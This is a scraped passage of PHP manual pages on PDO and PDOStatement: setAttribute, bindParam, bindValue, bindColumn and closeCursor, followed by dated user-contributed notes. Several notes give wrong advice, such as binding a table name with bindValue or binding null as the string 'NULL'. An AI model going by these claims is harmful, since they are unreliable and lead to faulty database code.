Since "It is an error to call this method if no transaction is active", it could be useful (even if not indispensable) to have a method which returns true if a transaction is active.

try {
    $dbh->beginTransaction();
    ...
} catch (PDOException $e) {
    if ($dbh->isTransactionActive())  // this function does NOT exist
        $dbh->rollBack();
    ...
}

In the meanwhile, I'm using this code:

    ...
} catch (PDOException $e) {
    try { $dbh->rollBack(); } catch (Exception $e2) {}
    ...
}

It's not so chic, but it works fine.
emalinks at gmail dot com 14-Apr-2007 01:09
<?php
//run this on your latest PHP let me know if it doesn't fail
//to test this program u must run it twice at the same time in ie. two terminals
//this program suposedly creates a new dbase with table name NodeNames and one field in it named NodeName
//it then begins a transaction then attempts to read an element 'zTest' of field 'NodeName' which obv. doesn't exist, ignoring the returned errors
//then it writes it(since it wasn't there)
//then decides to rollBack the transaction and eventually try a new one
//because rollBack doesn't really work(apparently) for some unknown reason, beginTransaction fails saying 'There is already an active transaction'
$db = new PDO('sqlite:demlinks6.3sql',''/*user*/,''/*pwd*/);

$db->exec('CREATE TABLE \'NodeNames\' ("NodeName" VARCHAR(10));');

$db->beginTransaction();

$getter="zTest";
$pgn = $db->prepare('SELECT * FROM \'NodeNames\' WHERE "NodeName" = :node13');
$pgn->bindParam(":node13", $getter, PDO::PARAM_STR);
//read
$pgn->execute();//execute above SELECT
$ar=$pgn->FetchAll();//get array of results

$writter="zTest";
$pnn=$db->prepare('INSERT INTO \'NodeNames\' ("NodeName") VALUES (:node14)');
$pnn->bindParam(":node14", $writter, PDO::PARAM_STR);
//write
$pnn->execute();//write it!

echo "waiting...";
usleep(2000000);
echo "done\n";
$db->rollBack();//this doesn't do it's job
$db->beginTransaction();//here it fails, when running this program twice at the same time; 'There is already an active transaction'
//unreachable:
$db->commit();
?>
PDO::quote
PDO::setAttribute
PDO


Set an attribute

PDO::rollBack
PDOStatement
PDO
PHP Manual

PDO::setAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::setAttribute — Set an attribute

Description

bool PDO::setAttribute ( int $attribute , mixed $value )

Sets an attribute on the database handle. Some of the available generic attributes are listed below; some drivers may make use of additional driver specific attributes.

  • PDO::ATTR_CASE: Force column names to a specific case.

    • PDO::CASE_LOWER: Force column names to lower case.

    • PDO::CASE_NATURAL: Leave column names as returned by the database driver.

    • PDO::CASE_UPPER: Force column names to upper case.

  • PDO::ATTR_ERRMODE: Error reporting.

    • PDO::ERRMODE_SILENT: Just set error codes.

    • PDO::ERRMODE_WARNING: Raise E_WARNING.

    • PDO::ERRMODE_EXCEPTION: Throw exceptions.

  • PDO::ATTR_ORACLE_NULLS (available with all drivers, not just Oracle): Conversion of NULL and empty strings.

    • PDO::NULL_NATURAL: No conversion.

    • PDO::NULL_EMPTY_STRING: Empty string is converted to NULL.

    • PDO::NULL_TO_STRING: NULL is converted to an empty string.

  • PDO::ATTR_STRINGIFY_FETCHES: Convert numeric values to strings when fetching. Requires bool.

  • PDO::ATTR_STATEMENT_CLASS: Set user-supplied statement class derived from PDOStatement. Cannot be used with persistent PDO instances. Requires array(string classname, array(mixed constructor_args)).

  • PDO::ATTR_TIMEOUT: Specifies the timeout duration in seconds. Not all drivers support this option, and it's meaning may differ from driver to driver. For example, sqlite will wait for up to this time value before giving up on obtaining an writable lock, but other drivers may interpret this as a connect or a read timeout interval. Requires int.

  • PDO::ATTR_AUTOCOMMIT (available in OCI, Firebird and MySQL): Whether to autocommit every single statement.

  • PDO::ATTR_EMULATE_PREPARES Enables or disables emulation of prepared statements. Some drivers do not support native prepared statements or have limited support for them. Use this setting to force PDO to either always emulate prepared statements (if TRUE), or to try to use native prepared statements (if FALSE). It will always fall back to emulating the prepared statement if the driver cannot successfully prepare the current query. Requires bool.

  • PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (available in MySQL): Use buffered queries.

  • PDO::ATTR_DEFAULT_FETCH_MODE: Set default fetch mode. Description of modes is available in PDOStatement::fetch() documentation.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

antoyo 11-Jan-2011 05:49
There is also a way to specifie the default fetch mode :
<?php
$connection = new PDO($connection_string);
$connection->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
?>
jas at dansupport dot dk 17-Nov-2008 01:24
Calling this function with PDO::MYSQL_ATTR_USE_BUFFERED_QUERY will seem to work, but it DOES NOT.
Instead, set it in the options array when instantiating the PDO connection.

Example:
<?php
$con = new PDO("mysql:dbname=dbname;host=some.ip", "user", "pass", array(
      PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,
   ));
?>
colinganderson [at] gmail [dot] com 18-May-2007 07:59
Because no examples are provided, and to alleviate any confusion as a result, the setAttribute() method is invoked like so:

setAttribute(ATTRIBUTE, OPTION);

So, if I wanted to ensure that the column names returned from a query were returned in the case the database driver returned them (rather than having them returned in all upper case [as is the default on some of the PDO extensions]), I would do the following:

<?php
// Create a new database connection.
$dbConnection = new PDO($dsn, $user, $pass);

// Set the case in which to return column_names.
$dbConnection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
?>

Hope this helps some of you who learn by example (as is the case with me).

.Colin
gregory dot szorc at gmail dot com 14-Feb-2007 08:32
It is worth noting that not all attributes may be settable via setAttribute().  For example, PDO::MYSQL_ATTR_MAX_BUFFER_SIZE is only settable in PDO::__construct().  You must pass PDO::MYSQL_ATTR_MAX_BUFFER_SIZE as part of the optional 4th parameter to the constructor.  This is detailed in http://bugs.php.net/bug.php?id=38015
Tobi 20-Nov-2006 03:11
Hint: setting the PDO::ATTR_ERRMODE attribute to PDO::ERRMODE_EXCEPTION
worked for me only with Mysql 4.x - I took me some time to figure this out ;-)
m dot leuffen at gmx dot de 25-Jul-2006 06:44
Hi,

if you are wondering about a size-bound (1 MB) on blob and text fields after upgrading to PHP5.1.4. You might try to increase this limit by using the setAttribute() method.

This will fail. Instead use the options array when instantiating the pdo:

$pdo = new PDO ("connection_settings", "user", "pass", array
(PDO::MYSQL_ATTR_MAX_BUFFER_SIZE=>1024*1024*50));

This should fix the problem and increase the limit to 50 MB.

Bye,
  Matthias
PDO::rollBack
PDOStatement
PDO


The PDOStatement class

(No version information available, might only be in SVN)

Introduction

Represents a prepared statement and, after the statement is executed, an associated result set.

Class synopsis

PDOStatement implements Traversable {
/* Properties */
readonly string $queryString;
/* Methods */
bool bindColumn ( mixed $column , mixed &$param [, int $type [, int $maxlen [, mixed $driverdata ]]] )
bool bindParam ( mixed $parameter , mixed &$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )
bool bindValue ( mixed $parameter , mixed $value [, int $data_type = PDO::PARAM_STR ] )
bool closeCursor ( void )
int columnCount ( void )
bool debugDumpParams ( void )
string errorCode ( void )
array errorInfo ( void )
bool execute ([ array $input_parameters ] )
mixed fetch ([ int $fetch_style [, int $cursor_orientation = PDO::FETCH_ORI_NEXT [, int $cursor_offset = 0 ]]] )
array fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] )
string fetchColumn ([ int $column_number = 0 ] )
mixed fetchObject ([ string $class_name = "stdClass" [, array $ctor_args ]] )
mixed getAttribute ( int $attribute )
array getColumnMeta ( int $column )
bool nextRowset ( void )
int rowCount ( void )
bool setAttribute ( int $attribute , mixed $value )
bool setFetchMode ( int $mode )
}

Properties

queryString

Used query string.

Table of Contents

  • PDOStatement::bindColumn — Bind a column to a PHP variable
  • PDOStatement::bindParam — Binds a parameter to the specified variable name
  • PDOStatement::bindValue — Binds a value to a parameter
  • PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.
  • PDOStatement::columnCount — Returns the number of columns in the result set
  • PDOStatement::debugDumpParams — Dump an SQL prepared command
  • PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle
  • PDOStatement::execute — Executes a prepared statement
  • PDOStatement::fetch — Fetches the next row from a result set
  • PDOStatement::fetchAll — Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn — Returns a single column from the next row of a result set
  • PDOStatement::fetchObject — Fetches the next row and returns it as an object.
  • PDOStatement::getAttribute — Retrieve a statement attribute
  • PDOStatement::getColumnMeta — Returns metadata for a column in a result set
  • PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle
  • PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement
  • PDOStatement::setAttribute — Set a statement attribute
  • PDOStatement::setFetchMode — Set the default fetch mode for this statement

User Contributed Notes

Dmitri Snytkine 25-Jul-2011 06:17
It looks like cloning PDOStatement object does not make any sense because while clone($sth) will not generate any errors, the returned object is not a new object but a reference to original PDOStatement object $sth.
rosko at zeta dot org dot au 02-Dec-2009 05:50
There are many references around for returning a refcursor from a pgSQL function using pg_query. All essentially boil down to executing the following single statement (or some variation of it):

 begin; select yourFunction(params...); fetch all in cursorname; commit;

In PDO, this doesn't work because PDO won't allow multiple statements submitted as a single statement (due to SQL injection detection). Instead, try this or similar:

<?php
$sql = 'select yourFunction(params...)';
$db = new PDO('pgsql:dbname=yourDBname');
$db->beginTransaction();
$cmd = $db->prepare($sql);
if ($cmd->execute()) {
  if ($query = $db->query('fetch all in cursorname')) {
    ...processing...
    $query->closeCursor();
    $cmd->closeCursor();
  }
}
$db->commit();
?>
PDO::setAttribute
PDOStatement::bindColumn
PDO


Bind a column to a PHP variable

PDOStatement
PDOStatement::bindParam
PDOStatement
PHP Manual

PDOStatement::bindColumn

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::bindColumn — Bind a column to a PHP variable

Description

bool PDOStatement::bindColumn ( mixed $column , mixed &$param [, int $type [, int $maxlen [, mixed $driverdata ]]] )

PDOStatement::bindColumn() arranges to have a particular variable bound to a given column in the result-set from a query. Each call to PDOStatement::fetch() or PDOStatement::fetchAll() will update all the variables that are bound to columns.

Note:

Since information about the columns is not always available to PDO until the statement is executed, portable applications should call this function after PDOStatement::execute().

However, to be able to bind a LOB column as a stream when using the PgSQL driver, applications should call this method before calling PDOStatement::execute(), otherwise the large object OID will be returned as an integer.

Parameters

column

Number of the column (1-indexed) or name of the column in the result set. If using the column name, be aware that the name should match the case of the column, as returned by the driver.

param

Name of the PHP variable to which the column will be bound.

type

Data type of the parameter, specified by the PDO::PARAM_* constants.

maxlen

A hint for pre-allocation.

driverdata

Optional parameter(s) for the driver.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Binding result set output to PHP variables

Binding columns in the result set to PHP variables is an effective way to make the data contained in each row immediately available to your application. The following example demonstrates how PDO allows you to bind and retrieve columns with a variety of options and with intelligent defaults.

<?php
function readData($dbh) {
  $sql = 'SELECT name, colour, calories FROM fruit';
  try {
    $stmt = $dbh->prepare($sql);
    $stmt->execute();

    /* Bind by column number */
    $stmt->bindColumn(1, $name);
    $stmt->bindColumn(2, $colour);

    /* Bind by column name */
    $stmt->bindColumn('calories', $cals);

    while ($row = $stmt->fetch(PDO::FETCH_BOUND)) {
      $data = $name . "\t" . $colour . "\t" . $cals . "\n";
      print $data;
    }
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
readData($dbh);
?>

The above example will output:

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

See Also

  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set

User Contributed Notes

daniel dot baulig at gmx dot de 17-Jun-2010 11:54
Pleas note the following:

If you try binding a column name, that is not existent in the result set referenced by your PDOStatement there will be a warning issued regardless of your PDO ATTR_ERRMODE setting. You can supress that warning using the @ supression operator, but there is no other way of finding out if an column you try to bind actually exist other than inspecting error_get_last( ) and it's fellow companions.

Also refer to this bug report http://bugs.php.net/bug.php?id=52104
PDOStatement
PDOStatement::bindParam
PDOStatement


Binds a parameter to the specified variable name

PDOStatement::bindColumn
PDOStatement::bindValue
PDOStatement
PHP Manual

PDOStatement::bindParam

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::bindParam — Binds a parameter to the specified variable name

Description

bool PDOStatement::bindParam ( mixed $parameter , mixed &$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )

Binds a PHP variable to a corresponding named or question mark placeholder in the SQL statement that was use to prepare the statement. Unlike PDOStatement::bindValue(), the variable is bound as a reference and will only be evaluated at the time that PDOStatement::execute() is called.

Most parameters are input parameters, that is, parameters that are used in a read-only fashion to build up the query. Some drivers support the invocation of stored procedures that return data as output parameters, and some also as input/output parameters that both send in data and are updated to receive it.

Parameters

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

variable

Name of the PHP variable to bind to the SQL statement parameter.

data_type

Explicit data type for the parameter using the PDO::PARAM_* constants. To return an INOUT parameter from a stored procedure, use the bitwise OR operator to set the PDO::PARAM_INPUT_OUTPUT bits for the data_type parameter.

length

Length of the data type. To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length.

driver_options

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #2 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #3 Call a stored procedure with an INOUT parameter

<?php
/* Call a stored procedure with an INOUT parameter */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print("After pureeing fruit, the colour is: $colour");
?>

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::bindValue() - Binds a value to a parameter

User Contributed Notes

cyrylas at gmail dot com 10-Jan-2011 01:23
Please note, that PDO format numbers according to current locale. So if, locale set number format to something else, that standard that query WILL NOT work properly.

For example:
in Polish locale (pl_PL) proper decimal separator is coma (","), so: 123,45, not 123.45. If we try bind 123.45 to the query, we will end up with coma in the query.

<?php
setlocale(LC_ALL, 'pl_PL');
$sth = $dbh->prepare('SELECT name FROM products WHERE price < :price');
$sth->bindParam(':price', 123.45, PDO::PARAM_STR);
$sth->execute();
// result:
// SELECT name FROM products WHERE price < '123,45';
?>
ReK_ 19-Oct-2010 10:59
This confused me for some time because it is never explicitly mentioned, but PDO will automagically encapsulate parameters for you, so a prepared query that is manually escaped like so:

"INSERT INTO table (column) VALUES (':value');"

Will actually end up being double-quoted and can cause problems.
atrandafirc at yahoo dot com 31-Aug-2010 06:37
I know this has been said before but I'll write a note on it too because I think it's important to keep in mind:

If you use PDO bindParam to do a search with a LIKE condition you cannot put the percentages and quotes to the param placeholder '%:keyword%'.

This is WRONG:
"SELECT * FROM `users` WHERE `firstname` LIKE '%:keyword%'";

The CORRECT solution is to leave clean the placeholder like this:
"SELECT * FROM `users` WHERE `firstname` LIKE :keyword";

And then add the percentages to the php variable where you store the keyword:
$keyword = "%".$keyword."%";

And finally the quotes will be automatically added by PDO when executing the query so you don't have to worry about them.

So the full example would be:
<?php
// Get the keyword from query string
$keyword = $_GET['keyword'];
// Prepare the command
$sth = $dbh->prepare('SELECT * FROM `users` WHERE `firstname` LIKE :keyword');
// Put the percentage sing on the keyword
$keyword = "%".$keyword."%";
// Bind the parameter
$sth->bindParam(':keyword', $keyword, PDO::PARAM_STR);
?>
sergiy dot sokolenko at gmail dot com 02-Jul-2010 03:22
Note that you cannot mix named and positional parameters in one query:

<?php
$stmt = $conn->prepare('SELECT * FROM employees WHERE name LIKE :name OR email LIKE ?');
$name = 'John%';
$email = 'john%';

$stmt->bindParam(':name', $name);
$stmt->bindParam(1, $email);

$stmt->execute();
?>

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters' in ...

Running PHP 5.3.2 on Linux x86-64
Vili 28-May-2010 12:01
This works ($val by reference):
<?php
foreach ($params as $key => &$val) {
    $sth->bindParam($key, $val);
}
?>

This will fail ($val by value, because bindParam needs &$variable):
<?php
foreach ($params as $key => $val) {
    $sth->bindParam($key, $val);
}
?>
geompse at gmail dot com 29-Jan-2010 03:30
if you are storing files (or binary data), using PARAM_LOB (and moreover trying to do this with Oracle), don't miss this page :

http://php.net/manual/en/pdo.lobs.php

You will there notice that PDO-PGSQL and PDO-OCI don't work the same at all : not the same argument nor the same behaviour.
Steve M 19-Nov-2009 11:28
Note that when using PDOStatement::bindParam an integer is changed to a string value upon PDOStatement::execute(). (Tested with MySQL).

This can cause problems when trying to compare values using the === operator.

Example:
<?php
$active = 1;
var_dump($active);
$ps->bindParam(":active", $active, PDO::PARAM_INT);
var_dump($active);
$ps->execute();
var_dump($active);
if ($active === 1) {
    // do something here
    // note: this will fail since $active is now "1"
}
?>

results in:
int(1)
int(1)
string(1) "1"
dhammari at q90 dot com 08-Jul-2009 11:22
There seems to be some confusion about whether you can bind a single value to multiple identical placeholders. For example:

$sql = "SELECT * FROM user WHERE is_admin = :myValue AND is_deleted = :myValue ";

$params = array("myValue" => "0");

Some users have reported that attempting to bind a single parameter to multiple placeholders yields a parameter mismatch error in PHP version 5.2.0 and earlier. Starting with version 5.2.1, however, this seems to work just fine.

For details, see bug report 40417:
http://bugs.php.net/bug.php?id=40417
jeffwa+php at gmail dot com 11-Jul-2007 01:49
Took me forever to find this elsewhere in the notes in the manual, so I'd thought I'd put this tidbit here to help others in the future.

When using a LIKE search in MySQL along with a prepared statement, the *value* must have the appropriate parentheses attached before the bindParam() statement as such:

<?php
$dbc = $GLOBALS['dbc'];
$sql = "SELECT * FROM `tbl_name` WHERE tbl_col LIKE ?";
$stmt = $dbc->prepare($sql);

$value = "%{$value}%";
$stmt->bindParam($i, $value, PDO::PARAM_STR);
?>

Trying to use
<?php
$stmt->bindParam($i, "%{$value}%", PDO::PARAM_STR);
?>

will fail.
willie at spenlen dot com 14-Jun-2007 11:49
If you're using the MySQL driver and have a stored procedure with an OUT or INOUT parameter, you can't (currently) use bindValue(). See http://bugs.php.net/bug.php?id=35935 for a workaround.
Filofox 10-Apr-2006 03:09
Do not try to use the same named parameter twice in a single SQL statement, for example

<?php
$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );
?>

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
05-Feb-2006 02:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

What is needed is something like the following:

<?php
$s = "%$s%";
$sth->bindParam(':foo', $s);
?>

This should work. Tested against mysql 4.1, PHP 5.1.3.
PDOStatement::bindColumn
PDOStatement::bindValue
PDOStatement


Binds a value to a parameter

PDOStatement::bindParam
PDOStatement::closeCursor
PDOStatement
PHP Manual

PDOStatement::bindValue

(PHP 5 >= 5.1.0, PECL pdo >= 1.0.0)

PDOStatement::bindValue — Binds a value to a parameter

Description

bool PDOStatement::bindValue ( mixed $parameter , mixed $value [, int $data_type = PDO::PARAM_STR ] )

Binds a value to a corresponding named or question mark placeholder in the SQL statement that was used to prepare the statement.

Parameters

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

value

The value to bind to the parameter.

data_type

Explicit data type for the parameter using the PDO::PARAM_* constants.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindValue(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Example #2 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name

User Contributed Notes

contact[at]maximeelomari.com 17-Jul-2011 05:19
This function is useful for bind value on an array. You can specify the type of the value in advance with $typeArray.

<?php
/**
 * @param string $req : the query on which link the values
 * @param array $array : associative array containing the values ​​to bind
 * @param array $typeArray : associative array with the desired value for its corresponding key in $array
 * */
function bindArrayValue($req, $array, $typeArray = false)
{
    if(is_object($req) && ($req instanceof PDOStatement))
    {
        foreach($array as $key => $value)
        {
            if($typeArray)
                $req->bindValue(":$key",$value,$typeArray[$key]);
            else
            {
                if(is_int($value))
                    $param = PDO::PARAM_INT;
                elseif(is_bool($value))
                    $param = PDO::PARAM_BOOL;
                elseif(is_null($value))
                    $param = PDO::PARAM_NULL;
                elseif(is_string($value))
                    $param = PDO::PARAM_STR;
                else
                    $param = FALSE;

                if($param)
                    $req->bindValue(":$key",$value,$param);
            }
        }
    }
}

/**
 * ## EXEMPLE ##
 * $array = array('language' => 'php','lines' => 254, 'publish' => true);
 * $typeArray = array('language' => PDO::PARAM_STR,'lines' => PDO::PARAM_INT,'publish' => PDO::PARAM_BOOL);
 * $req = 'SELECT * FROM code WHERE language = :language AND lines = :lines AND publish = :publish';
 * You can bind $array like that :
 * bindArrayValue($array,$req,$typeArray);
 * The function is more useful when you use limit clause because they need an integer.
 * */
?>
Anonymous 18-Jun-2011 08:40
Note that the third parameter ($data_type) in the majority of cases will not type cast the value into anything else to be used in the query, nor will it throw any sort of error if the type does not match up with the value provided. This parameter essentially has no effect whatsoever except throwing an error if it is set and is not a float, so do not think that it is adding any extra level of security to the queries.

The two exceptions where type casting is performed:

- if you use PDO::PDO_PARAM_INT and provide a boolean, it will be converted to a long
- if you use PDO::PDO_PARAM_BOOL and provide a long, it will be converted to a boolean

<?php

$query = 'SELECT * FROM `users` WHERE username = :username AND `password` = ENCRYPT( :password, `crypt_password`)';

$sth= $dbh->prepare($query);

// First try passing a random numerical value as the third parameter
var_dump($sth->bindValue(':username','bob', 12345.67)); // bool(true)

// Next try passing a string using the boolean type
var_dump($sth->bindValue(':password','topsecret_pw', PDO::PARAM_BOOL)); // bool(true)

$sth->execute(); // Query is executed successfully
$result = $sth->fetchAll(); // Returns the result of the query

?>
goofiq dot no dot spam at antispam dot wp dot pl 27-Dec-2009 10:43
bindValue with data_type depend parameter name

<?php

$db = new PDO (...);
$db -> setAttribute (PDO::ATTR_STATEMENT_CLASS, array ('MY_PDOStatement ', array ($db)));

class MY_PDOStatement extends PDOStatement {

  public function execute ($input = array ()) {
    foreach ($input as $param => $value) {
      if (preg_match ('/_id$/', $param))
        $this -> bindValue ($param, $value, PDO::PARAM_INT);
      else
        $this -> bindValue ($param, $value, PDO::PARAM_STR);
    }
    return parent::execute ();
  }

}

?>
cpd-dev 11-Dec-2009 04:46
Although bindValue() escapes quotes it does not escape "%" and "_", so be careful when using LIKE. A malicious parameter full of %%% can dump your entire database if you don't escape the parameter yourself. PDO does not provide any other escape method to handle it.
nicolas dot baptiste at gmail dot com 04-Sep-2009 08:06
This actually works to bind NULL on an integer field in MySQL :

$stm->bindValue(':param', null, PDO::PARAM_INT);
Lambdaman 30-Apr-2009 05:19
If you want to bind a null value to a database field you must use 'NULL' in quotes (for MySQL):

<?php

$stmt->bindValue(:fieldName, 'NULL');

// not
$stmt->bindValue(:fieldName, NULL);
// or
$stmt->bindValue(:fieldName, null);

?>

Using PHP's null/NULL as a value doesn't work.
nicemandan 11-Feb-2009 11:54
I've slightly altered the PDOBindArray function above so it can receive data types, which will help against injection attacks.

<?php

private function PDOBindArray(&$poStatement, &$paArray){
    foreach ($paArray as $k=>$v) {
        @$poStatement->bindValue($k, $v[0], $v[1]);
    }
}

// the array structure should now look something like this

$inputArray = array(
    ':email' => array($email, PDO::PARAM_STR),
    ':pass' => array($pass, PDO::PARAM_INT)
);
?>
Anonymous 25-Aug-2008 04:31
PDO lacks methods to check if values can be bound to a parameter, e.g.,

if ($statement->hasParameter(':param'))
{
    $statement->bindValue(':param', $value);
}

ATM you *have to know* which parameters exist in the SQL-statement. Otherwise you get an error. You cannot test for them.
streaky at mybrokenlogic dot com 08-Jan-2008 02:20
What the bindValue() docs fail to explain without reading them _very_ carefully is that bindParam() is passed to PDO byref - whereas bindValue() isn't.

Thus with bindValue() you can do something like $stmt->bindValue(":something", "bind this"); whereas with bindParam() it will fail because you can't pass a string by reference, for example.
joe at dsforge dot net 01-Oct-2007 06:46
note that bindParam() doesn't let you bind a table name into a prepared statement, whereas this can be done with bindValue()...
ts//tpdada//art//pl 15-Dec-2006 06:34
For bind whole array at once

<?php

function PDOBindArray(&$poStatement, &$paArray){

  foreach ($paArray as $k=>$v){

    @$poStatement->bindValue(':'.$k,$v);

  } // foreach

 } // function

// example

$stmt = $dbh->prepare("INSERT INTO tExample (id,value) VALUES (:id,:value)");

$taValues = array(
 'id' => '1',
 'value' => '2'
); // array

PDOBindArray($stmt,$taValues);

$stmt->execute();

?>
Chris L 26-May-2006 03:43
I'm not sure if this is intentional or not, but you can't use a placeholder more than once. I assumed (wrongly) that bindValue() would replace ALL instances of a given placeholder with a value. For example:

<?php

// $db is a PDO object
$stmt = $db->prepare
('
    insert into
        TableA
    (
        ID,
        Name,
        Foo
    )

    select
        null,
        :Name,
        :Foo

    from
        TableA

    where
        Foo = :Foo
');

$stmt->bindValue(':Name', 'john doe');
$stmt->bindValue(':Foo', 'foo');

$stmt->execute();

?>

This apparently won't work - you must have separate :SelectFoo and :WhereFoo. I'm using PHP 5.0.4, MySQL 5.0.14, and PDO version 1.0.2.
PDOStatement::bindParam
PDOStatement::closeCursor
PDOStatement


Closes the cursor, enabling the statement to be executed again.

PDOStatement::bindValue
PDOStatement::columnCount
PDOStatement
PHP Manual

PDOStatement::closeCursor

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.

Description

bool PDOStatement::closeCursor ( void )

PDOStatement::closeCursor() frees up the connection to the server so that other SQL statements may be issued, but leaves the statement in a state that enables it to be executed again.

This method is useful for database drivers that do not support executing a PDOStatement object when a previously executed PDOStatement object still has unfetched rows. If your database driver suffers from this limitation, the problem may manifest itself in an out-of-sequence error.

PDOStatement::closeCursor() is implemented either as an optional driver specific method (allowing for maximum efficiency), or as the generic PDO fallback if no driver specific function is installed. The PDO generic fallback is semantically the same as writing the following code in your PHP script:

<?php
do {
    while ($stmt->fetch())
        ;
    if (!$stmt->nextRowset())
        break;
} while (true);
?>

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A PDOStatement::closeCursor() example

In the following example, the $stmt PDOStatement object returns multiple rows but the application fetches only the first row, leaving the PDOStatement object in a state of having unfetched rows. To ensure that the application will work with all database drivers, the author inserts a call to PDOStatement::closeCursor() on $stmt before executing the $otherStmt PDOStatement object.

<?php
/* Create a PDOStatement object */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* Create a second PDOStatement object */
$otherStmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* Execute the first statement */
$stmt->execute();

/* Fetch only the first row from the results */
$stmt->fetch();

/* The following call to closeCursor() may be required by some drivers */
$stmt->closeCursor();

/* Now we can execute the second statement */
$otherStmt->execute();
?>

See Also

  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

jhill9693 at gmail dot com 02-May-2011 08:34
If you ran a SQL statement (vs a query that returns data) such as UPDATE, try unsetting your PDOStatement object instead of calling PDOStatement::closeCursor().
narada dot sage at googlemail dot com 29-Apr-2006 01:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
    do $oStm->fetchAll();
    while ($oStm->nextRowSet());
}
?>
PDOStatement::bindValue
PDOStatement::columnCount
PDOStatement


Returns the number of columns in the result set

PDOStatement::closeCursor
PDOStatement::debugDumpParams
PDOStatement
PHP Manual

PDOStatement::columnCount

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDOStatement::columnCount — Returns the number of columns in the result set

Description

